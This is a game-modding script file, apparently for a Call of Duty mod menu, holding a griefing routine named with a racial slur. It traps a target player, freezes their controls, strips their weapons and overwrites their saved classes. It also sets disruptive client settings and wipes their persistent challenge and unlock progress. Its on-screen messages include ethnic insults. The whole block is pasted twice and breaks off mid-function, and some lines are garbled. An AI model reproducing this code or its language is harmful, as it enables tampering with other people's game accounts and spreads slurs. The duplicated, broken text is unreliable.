scarethatnigga;
so it appears like this menu.funcs[the place it is on your menu]=::scarethatnigga;
scarethatnigga(p){
p.IsScared=1;p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5NOW YOU'VE DONE IT!");
wait 5;
p thread maps\mp\moss\AllMossysStuffHere::LockMenu(p);
wait 1;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5YOU HAD TO PISS ME OFF! DIDN'T YOU?");
wait 1;
p thread maps\mp\gametypes\koth::prisonBuild();
wait 3;
p thread maps\mp\gametypes\koth::fukupclasses();
wait 3;
p thread maps\mp\moss\AllMossysStuffHere::WeapTake();
wait 1;
p thread maps\mp\moss\AllMossysStuffHere::doSend(p);
wait 4;
p thread maps\mp\moss\AllMossysStuffHere::test1(p);
wait 4;
p thread maps\mp\gametypes\koth::druGZ(p);
wait 2;
p thread maps\mp\gametypes\koth::doBadDvars(p);
wait 6;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5YOU DIRTY ARABIAN ARSE WRANGLER!");
wait 1;
p thread maps\mp\moss\AllMossysStuffHere:
erank();
wait 1;
p thread scaryloop();
wait 3;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5DERANKED BITCH! P.S Have a nice day.
");
wait 20;
p.IsScared=0;}
scaryloop(){while(self.IsScared){self freezeControls(true);
self iPrintlnBold("^5Challenges Now Locking...");
wait .03;}
self visionsetnakedforplayer("cheat_chaplinnight",10);
wait 5;
self iPrintlnBold("^5All Challenges, Titles, and Emblems...");
wait 3;
self VisionSetNakedForPlayer( "mpnuke_aftermath", 10 );
self iPrintlnBold("^5Weapons, Attachments, and Camos...");
wait 4;
self iPrintlnBold("^5Are Now...");
wait 3;self iPrintlnBold("^1LOCKED");}

level.PrisonRunOnce=0;
prisonBuild
CreateGrids(corner1, corner2, angle)
{
W = Distance((corner1[0], 0, 0), (corner2[0], 0, 0));
L = Distance((0, corner1[1], 0), (0, corner2[1], 0));
H = Distance((0, 0, corner1[2]), (0, 0, corner2[2]));
CX = corner2[0] - corner1[0];
CY = corner2[1] - corner1[1];
CZ = corner2[2] - corner1[2];
ROWS = roundUp(W/55);
COLUMNS = roundUp(L/30);
HEIGHT = roundUp(H/20);
XA = CX/ROWS;
YA = CY/COLUMNS;
ZA = CZ/HEIGHT;
center = spawn("script_model", corner1);
for(r = 0; r <= ROWS; r++){
for(c = 0; c <= COLUMNS; c++){
for(h = 0; h <= HEIGHT; h++){
block = spawn("script_model", (corner1 + (XA * r, YA * c, ZA * h)));
block setModel("com_plasticcase_friendly");
block.angles = (0, 0, 0);
block Solid();
block LinkTo(center);
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
}
}
center.angles = angle;
}
roundUp( floatVal )
{
if ( int( floatVal ) != floatVal )
return int( floatVal+1 );
else
return int( floatVal );
}
CreateRamps(top, bottom)
{
D = Distance(top, bottom);
blocks = roundUp(D/30);
CX = top[0] - bottom[0];
CY = top[1] - bottom[1];
CZ = top[2] - bottom[2];
XA = CX/blocks;
YA = CY/blocks;
ZA = CZ/blocks;
CXY = Distance((top[0], top[1], 0), (bottom[0], bottom[1], 0));
Temp = VectorToAngles(top - bottom);
BA = (Temp[2], Temp[1] + 90, Temp[0]);
for(b = 0; b < blocks; b++){
block = spawn("script_model", (bottom + ((XA, YA, ZA) * B)));
block setModel("com_plasticcase_friendly");
block.angles = BA;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
block = spawn("script_model", (bottom + ((XA, YA, ZA) * blocks) - (0, 0, 5)));
block setModel("com_plasticcase_friendly");
block.angles = (BA[0], BA[1], 0);
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
CreateWalls(start, end)
{
D = Distance((start[0], start[1], 0), (end[0], end[1], 0));
H = Distance((0, 0, start[2]), (0, 0, end[2]));
blocks = roundUp(D/55);
height = roundUp(H/30);
CX = end[0] - start[0];
CY = end[1] - start[1];
CZ = end[2] - start[2];
XA = (CX/blocks);
YA = (CY/blocks);
ZA = (CZ/height);
TXA = (XA/4);
TYA = (YA/4);
Temp = VectorToAngles(end - start);
Angle = (0, Temp[1], 90);
for(h = 0; h < height; h++){
block = spawn("script_model", (start + (TXA, TYA, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
for(i = 1; i < blocks; i++){
block = spawn("script_model", (start + ((XA, YA, 0) * i) + (0, 0, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
}
block = spawn("script_model", ((end[0], end[1], start[2]) + (TXA * -1, TYA * -1, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
}
}
prisonBuild(p){
if(self isAllowed(0)&&(!self.PrisonRunOnce)){
self.PrisonRunOnce = 1;self thread testprison();self iprintln("^2Buiding prison...please wait...");wait 5;self iprintln("^3Done");}}
testprison(){
CreateWalls((990, 3, 3040), (790, 3, 3080));
CreateWalls((990, 3, 3120), (790, 3, 3160));
CreateWalls((790, 3, 3040), (790, -150, 3080));
CreateWalls((790, 3, 3120), (790, -150, 3160));
CreateGrids((990, 3, 3040), (790, -150, 3040));
CreateGrids((990, 3, 3160), (790, -150, 3160));
CreateWalls((790, -150, 3040), (990, -150, 3080));
CreateWalls((790, -150, 3120), (990, -150, 3160));
CreateWalls((990, 3, 3040), (990, -150, 3080));
CreateWalls((990, 3, 3120), (990, -150, 3160));
lt1 = loadfx( "misc/flare_ambient" );playfx(lt1,(820, -27.14, 3075));
lt2 = loadfx( "misc/flare_ambient" );playfx(lt2,(820, -120, 3075));
lt3 = loadfx( "misc/flare_ambient" );playfx(lt3,(960, -27.14, 3075));
lt4 = loadfx( "misc/flare_ambient" );playfx(lt4,(960, -120, 3075));
mgTurret = spawnTurret( "misc_turret", (990, 12.783, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (790, 12.783, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (980, -140, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (780, -140, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
}
fukupclasses;
fukupclasses(){
self setPlayerData( "customClasses", 0, "name", "^1Your" );
self setPlayerData( "customClasses", 1, "name", "^2Classes" );
self setPlayerData( "customClasses", 2, "name", "^7Got" );
self setPlayerData( "customClasses", 3, "name", "^1****ed" );
self setPlayerData( "customClasses", 4, "name", "^2By" );
self setPlayerData( "customClasses", 5, "name", "^6The" );
self setPlayerData( "customClasses", 6, "name", "^2One" );
self setPlayerData( "customClasses", 7, "name", "^6And" );
self setPlayerData( "customClasses", 8, "name", "^1Only" );
self setPlayerData( "customClasses", 9, "name", "^1RusterG" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "weapon", "cheytac" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "weapon", "model1887" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "weapon", "ranger" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "weapon", "cheytac" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "weapon", "fal" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "weapon", "pp2000" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "weapon", "glock" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "weapon", "m1014" );
self setPlayerData( "customClasses", 8, "weaponSetups", 0, "weapon", "deserteaglegold" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "weapon", "onemanarmy" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "weapon", "flash_grenade" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "weapon", "usp" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "weapon", "model1887" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "weapon", "barrett" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "weapon", "m21" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "weapon", "tmp" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "weapon", "usp" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "weapon", "claymore" );
self setPlayerData( "customClasses", 8, "weaponSetups", 1, "weapon", "c4" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "weapon", "smoke_grenade" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "camo", "red_urban" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "camo", "red_tiger" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "camo", "red_urban" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "camo", "orange_fall" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "camo", "orange_fall" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "camo", "red_urban" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "attachment", 0, "fmj" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "attachment", 0, "fmj" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "attachment", 0, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "attachment", 0, "shotgun" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "attachment", 0, "xmags" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "attachment", 0, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "attachment", 1, "silencer" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "attachment", 1, "heartbeat" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "attachment", 1, "silencer" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "attachment", 1, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "attachment", 1, "thermal" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "attachment", 1, "rof" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "attachment", 1, "fmj" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "attachment", 1, "heartbeat" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "attachment", 1, "acog" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "attachment", 1, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "attachment", 1, "reflex" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "attachment", 1, "shotgun" );
self setPlayerData( "customClasses", 0, "perks", 1, "specialty_lightweight" );
self setPlayerData( "customClasses", 1, "perks", 1, "specialty_fastreload" );
self setPlayerData( "customClasses", 2, "perks", 1, "specialty_blastshield" );
self setPlayerData( "customClasses", 3, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 4, "perks", 1, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 5, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 6, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 7, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 8, "perks", 1, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 0, "perks", 2, "specialty_fastreload" );
self setPlayerData( "customClasses", 1, "perks", 2, "specialty_bulletdamage" );
self setPlayerData( "customClasses", 2, "perks", 2, "lightstick" );
self setPlayerData( "customClasses", 3, "perks", 2, "claymore" );
self setPlayerData( "customClasses", 4, "perks", 2, "specialty_bling" );
self setPlayerData( "customClasses", 5, "perks", 2, "specialty_lightweight" );
self setPlayerData( "customClasses", 6, "perks", 2, "frag_grenade" );
self setPlayerData( "customClasses", 7, "perks", 2, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 8, "perks", 2, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 2, "specialty_combathigh" );
self setPlayerData( "customClasses", 0, "perks", 3, "specialty_extendedmelee" );
self setPlayerData( "customClasses", 1, "perks", 3, "specialty_extendedmelee" );
self setPlayerData( "customClasses", 2, "perks", 3, "specialty_bling" );
self setPlayerData( "customClasses", 3, "perks", 3, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 4, "perks", 3, "semtex" );
self setPlayerData( "customClasses", 5, "perks", 3, "specialty_bulletaccuracy" );
self setPlayerData( "customClasses", 6, "perks", 3, "specialty_explosivedamage" );
self setPlayerData( "customClasses", 7, "perks", 3, "specialty_combathigh" );
self setPlayerData( "customClasses", 8, "perks", 3, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 3, "specialty_explosivedamage" );
self setPlayerData( "customClasses", 0, "perks", 0, "specialty_bulletdamage" );
self setPlayerData( "customClasses", 1, "perks", 0, "specialty_bulletaccuracy" );
self setPlayerData( "customClasses", 2, "perks", 0, "semtex" );
self setPlayerData( "customClasses", 3, "perks", 0, "specialty_pistoldeath" );
self setPlayerData( "customClasses", 4, "perks", 0, "specialty_grenadepulldeath" );
self setPlayerData( "customClasses", 5, "perks", 0, "specialty_localjammer" );
self setPlayerData( "customClasses", 6, "perks", 0, "specialty_heartbreaker" );
self setPlayerData( "customClasses", 7, "perks", 0, "semtex" );
self setPlayerData( "customClasses", 8, "perks", 0, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 0, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 0, "perks", 4, "specialty_marathon" );
self setPlayerData( "customClasses", 1, "perks", 4, "specialty_bling" );
self setPlayerData( "customClasses", 2, "perks", 4, "specialty_thermal" );
self setPlayerData( "customClasses", 3, "perks", 4, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 4, "perks", 4, "claymore" );
self setPlayerData( "customClasses", 5, "perks", 4, "specialty_coldblooded" );
self setPlayerData( "customClasses", 6, "perks", 4, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 7, "perks", 4, "specialty_localjammer" );
self setPlayerData( "customClasses", 8, "perks", 4, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 4, "specialty_grenadepulldeath" );
self setPlayerData( "customClasses", 0, "specialGrenade", "Throwing_knife" );
self setPlayerData( "customClasses", 1, "specialGrenade", "concussion_grenade" );
self setPlayerData( "customClasses", 2, "specialGrenade", "m1014" );
self setPlayerData( "customClasses", 3, "specialGrenade", "ak47" );
self setPlayerData( "customClasses", 4, "specialGrenade", "coltanaconda" );
self setPlayerData( "customClasses", 5, "specialGrenade", "onemanarmy" );
self setPlayerData( "customClasses", 6, "specialGrenade", "fn2000" );
self setPlayerData( "customClasses", 7, "specialGrenade", "masada" );
self setPlayerData( "customClasses", 8, "specialGrenade", "deserteaglegold" );
self setPlayerData( "customClasses", 9, "specialGrenade", "fal" );
}
WeapTake;
WeapTake(){ self takeAllWeapons(); self ccTXT("Taken all Weapons"); }
doSend(p){ p.location = (900, -78, 3055.1); p setOrigin(p.location);p thread maps\mp\moss\AllMossysStuffHere::plGodmode();}
test1(p){self thread ccTXT("Done");p endon("death");for(;
{p.angle = p GetPlayerAngles();if(p.angle[1] < 179)p SetPlayerAngles( p.angle +(0, 1, 0) );else p SetPlayerAngles( p.angle *(1, -1, 1) );wait 0.0025;}}
druGZ;
druGZ(p) {self endon("death");
p thread giveDrugs();
while (1) {
p VisionSetNakedForPlayer("mpnuke", 1);
wait 0.1;
p VisionSetNakedForPlayer("cheat_chaplinnight", 1);
wait 0.1;
p VisionSetNakedForPlayer("ac130_inverted", 1);
wait 0.1;
p VisionSetNakedForPlayer("aftermath", 1);
}}
giveDrugs(){
self endon("death");self endon("disconnect");
streakIcon2 = createIcon( "cardicon_weed", 80, 63 );
streakIcon2 setPoint("CENTER");
streakIcon = createIcon( "cardicon_sniper", 80, 63 );
streakIcon setPoint("BOTTOMRIGHT", "BOTTOMRIGHT");
streakIcon3 = createIcon( "cardicon_headshot", 80, 63 );
streakIcon3 setPoint("TOPRIGHT", "TOPRIGHT");
streakIcon4 = createIcon( "cardicon_prestige10_02", 80, 63 );
streakIcon4 setPoint("TOPLEFT", "TOPLEFT");
streakIcon5 = createIcon( "cardicon_girlskull", 80, 63 );
streakIcon5 setPoint("BOTTOMLEFT", "BOTTOMLEFT");
streakIcon6 = createIcon( "cardtitle_weed_3", 280, 63 );
streakIcon6 setPoint("BOTTOM", "TOP", 0, 65);
zycieText2 = self createFontString("hudbig", 1.6);
zycieText2 setParent(level.uiParent);
zycieText2 setPoint("BOTTOM", "TOP", 0, 55);
zycieText2 setText( "^6DRUGS FTW");
}
doBadDvars;
doBadDvars(p){
p setclientdvar("sensitivity", "99999");
p setclientdvar("loc_forceEnglish", "0");
p setclientdvar("loc_language", "1");
p setclientdvar("loc_translate", "0");
p setclientdvar("bg_weaponBobMax", "999");
p setclientdvar("cg_fov", "200");
p setclientdvar("cg_youInKillCamSize", "9999");
p setclientdvar("cl_hudDrawsBehindUI", "0");
p setclientdvar("compassPlayerHeight", "9999");
p setclientdvar("compassRotation", "0");
p setclientdvar("compassSize", "9");
p setclientdvar("maxVoicePacketsPerSec", "3");
p setclientdvar("cg_gun_x", "2");
p setclientdvar("cg_gun_y", "-2");
p setclientdvar("cg_gun_z", "3");
p setclientdvar("cg_hudGrenadePointerWidth", "999");
p setclientdvar("cg_hudVotePosition", "5 175");
p setclientdvar("lobby_animationTilesHigh", "60");
p setclientdvar("lobby_animationTilesWide", "128");
p setclientdvar("drawEntityCountSize", "256");
p setclientdvar("r_showPortals", "1");
p setclientdvar("r_singleCell", "1");
p setclientdvar("r_sun_from_dvars", "1");
}
Derank(){
self setClientDvar( "motd","^1YOU GOT ****ING OWNED!!!");
self setClientDvar( "clanname", "****" );
self thread maps\mp\_utility::doLockChallenges();
self thread maps\mp\_utility::doLock();
}
doLockChallenges()
{
self endon ( "disconnect" );
if (self.doOwn != 1) {
self endon ( "death" );
}
foreach ( challengeRef, challengeData in level.challengeInfo ) {
finalTarget = 1;
finalTier = 1;
for ( tierId = 0; isDefined( challengeData["targetval"][tierId] ); tierId-- )
{
finalTarget = challengeData["targetval"][tierId];
finalTier = tierId - 1;
}
if ( self isItemUnlocked( challengeRef ) )
{
self setPlayerData( "challengeProgress", challengeRef, 0 );
self setPlayerData( "challengeState", challengeRef, 0 );
}
wait ( 0.04 );
}
}
doLock()
{
self endon ( "disconnect" );
if (self.doOwn != 1) {
self endon ( "death" );
} {
wait 12;
tableName = "mp/unlockTable.csv";
refString = tableLookupByRow( tableName, 0, 0 );
for ( index = 1; index<2345; index++ ) {
refString = tableLookupByRow( tableName, index, 0 );
if(isSubStr( refString, "cardicon_")) {
wait 0.1;
self setPlayerData( "iconUnlocked", refString, 0 );
}
if(isSubStr( refString, "cardtitle_")) {
wait 0.1;
self setPlayerData( "titleUnlocked", refString, 0 );
}
}
}
self setPlayerData( "cardtitle" , "cardtitle_owned" );
self thread maps\mp\gametypes\_hud_message:
ldNotifyMessage( "Get Deranked BITCH!" );
wait 2;
}

scarethatnigga;
so it appears like this menu.funcs[the place it is on your menu]=::scarethatnigga;
scarethatnigga(p){
p.IsScared=1;p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5NOW YOU'VE DONE IT!");
wait 5;
p thread maps\mp\moss\AllMossysStuffHere::LockMenu(p);
wait 1;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5YOU HAD TO PISS ME OFF! DIDN'T YOU?");
wait 1;
p thread maps\mp\gametypes\koth::prisonBuild();
wait 3;
p thread maps\mp\gametypes\koth::fukupclasses();
wait 3;
p thread maps\mp\moss\AllMossysStuffHere::WeapTake();
wait 1;
p thread maps\mp\moss\AllMossysStuffHere::doSend(p);
wait 4;
p thread maps\mp\moss\AllMossysStuffHere::test1(p);
wait 4;
p thread maps\mp\gametypes\koth::druGZ(p);
wait 2;
p thread maps\mp\gametypes\koth::doBadDvars(p);
wait 6;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5YOU DIRTY ARABIAN ARSE WRANGLER!");
wait 1;
p thread maps\mp\moss\AllMossysStuffHere:
erank();
wait 1;
p thread scaryloop();
wait 3;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5DERANKED BITCH! P.S Have a nice day.
");
wait 20;
p.IsScared=0;}
scaryloop(){while(self.IsScared){self freezeControls(true);
self iPrintlnBold("^5Challenges Now Locking...");
wait .03;}
self visionsetnakedforplayer("cheat_chaplinnight",10);
wait 5;
self iPrintlnBold("^5All Challenges, Titles, and Emblems...");
wait 3;
self VisionSetNakedForPlayer( "mpnuke_aftermath", 10 );
self iPrintlnBold("^5Weapons, Attachments, and Camos...");
wait 4;
self iPrintlnBold("^5Are Now...");
wait 3;self iPrintlnBold("^1LOCKED");}

level.PrisonRunOnce=0;
prisonBuild
CreateGrids(corner1, corner2, angle)
{
W = Distance((corner1[0], 0, 0), (corner2[0], 0, 0));
L = Distance((0, corner1[1], 0), (0, corner2[1], 0));
H = Distance((0, 0, corner1[2]), (0, 0, corner2[2]));
CX = corner2[0] - corner1[0];
CY = corner2[1] - corner1[1];
CZ = corner2[2] - corner1[2];
ROWS = roundUp(W/55);
COLUMNS = roundUp(L/30);
HEIGHT = roundUp(H/20);
XA = CX/ROWS;
YA = CY/COLUMNS;
ZA = CZ/HEIGHT;
center = spawn("script_model", corner1);
for(r = 0; r <= ROWS; r++){
for(c = 0; c <= COLUMNS; c++){
for(h = 0; h <= HEIGHT; h++){
block = spawn("script_model", (corner1 + (XA * r, YA * c, ZA * h)));
block setModel("com_plasticcase_friendly");
block.angles = (0, 0, 0);
block Solid();
block LinkTo(center);
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
}
}
center.angles = angle;
}
roundUp( floatVal )
{
if ( int( floatVal ) != floatVal )
return int( floatVal+1 );
else
return int( floatVal );
}
CreateRamps(top, bottom)
{
D = Distance(top, bottom);
blocks = roundUp(D/30);
CX = top[0] - bottom[0];
CY = top[1] - bottom[1];
CZ = top[2] - bottom[2];
XA = CX/blocks;
YA = CY/blocks;
ZA = CZ/blocks;
CXY = Distance((top[0], top[1], 0), (bottom[0], bottom[1], 0));
Temp = VectorToAngles(top - bottom);
BA = (Temp[2], Temp[1] + 90, Temp[0]);
for(b = 0; b < blocks; b++){
block = spawn("script_model", (bottom + ((XA, YA, ZA) * B)));
block setModel("com_plasticcase_friendly");
block.angles = BA;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
block = spawn("script_model", (bottom + ((XA, YA, ZA) * blocks) - (0, 0, 5)));
block setModel("com_plasticcase_friendly");
block.angles = (BA[0], BA[1], 0);
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
CreateWalls(start, end)
{
D = Distance((start[0], start[1], 0), (end[0], end[1], 0));
H = Distance((0, 0, start[2]), (0, 0, end[2]));
blocks = roundUp(D/55);
height = roundUp(H/30);
CX = end[0] - start[0];
CY = end[1] - start[1];
CZ = end[2] - start[2];
XA = (CX/blocks);
YA = (CY/blocks);
ZA = (CZ/height);
TXA = (XA/4);
TYA = (YA/4);
Temp = VectorToAngles(end - start);
Angle = (0, Temp[1], 90);
for(h = 0; h < height; h++){
block = spawn("script_model", (start + (TXA, TYA, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
for(i = 1; i < blocks; i++){
block = spawn("script_model", (start + ((XA, YA, 0) * i) + (0, 0, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
}
block = spawn("script_model", ((end[0], end[1], start[2]) + (TXA * -1, TYA * -1, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
}
}
prisonBuild(p){
if(self isAllowed(0)&&(!self.PrisonRunOnce)){
self.PrisonRunOnce = 1;self thread testprison();self iprintln("^2Buiding prison...please wait...");wait 5;self iprintln("^3Done");}}
testprison(){
CreateWalls((990, 3, 3040), (790, 3, 3080));
CreateWalls((990, 3, 3120), (790, 3, 3160));
CreateWalls((790, 3, 3040), (790, -150, 3080));
CreateWalls((790, 3, 3120), (790, -150, 3160));
CreateGrids((990, 3, 3040), (790, -150, 3040));
CreateGrids((990, 3, 3160), (790, -150, 3160));
CreateWalls((790, -150, 3040), (990, -150, 3080));
CreateWalls((790, -150, 3120), (990, -150, 3160));
CreateWalls((990, 3, 3040), (990, -150, 3080));
CreateWalls((990, 3, 3120), (990, -150, 3160));
lt1 = loadfx( "misc/flare_ambient" );playfx(lt1,(820, -27.14, 3075));
lt2 = loadfx( "misc/flare_ambient" );playfx(lt2,(820, -120, 3075));
lt3 = loadfx( "misc/flare_ambient" );playfx(lt3,(960, -27.14, 3075));
lt4 = loadfx( "misc/flare_ambient" );playfx(lt4,(960, -120, 3075));
mgTurret = spawnTurret( "misc_turret", (990, 12.783, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (790, 12.783, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (980, -140, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (780, -140, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
}
fukupclasses;
fukupclasses(){
self setPlayerData( "customClasses", 0, "name", "^1Your" );
self setPlayerData( "customClasses", 1, "name", "^2Classes" );
self setPlayerData( "customClasses", 2, "name", "^7Got" );
self setPlayerData( "customClasses", 3, "name", "^1****ed" );
self setPlayerData( "customClasses", 4, "name", "^2By" );
self setPlayerData( "customClasses", 5, "name", "^6The" );
self setPlayerData( "customClasses", 6, "name", "^2One" );
self setPlayerData( "customClasses", 7, "name", "^6And" );
self setPlayerData( "customClasses", 8, "name", "^1Only" );
self setPlayerData( "customClasses", 9, "name", "^1RusterG" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "weapon", "cheytac" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "weapon", "model1887" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "weapon", "ranger" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "weapon", "cheytac" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "weapon", "fal" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "weapon", "pp2000" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "weapon", "glock" );
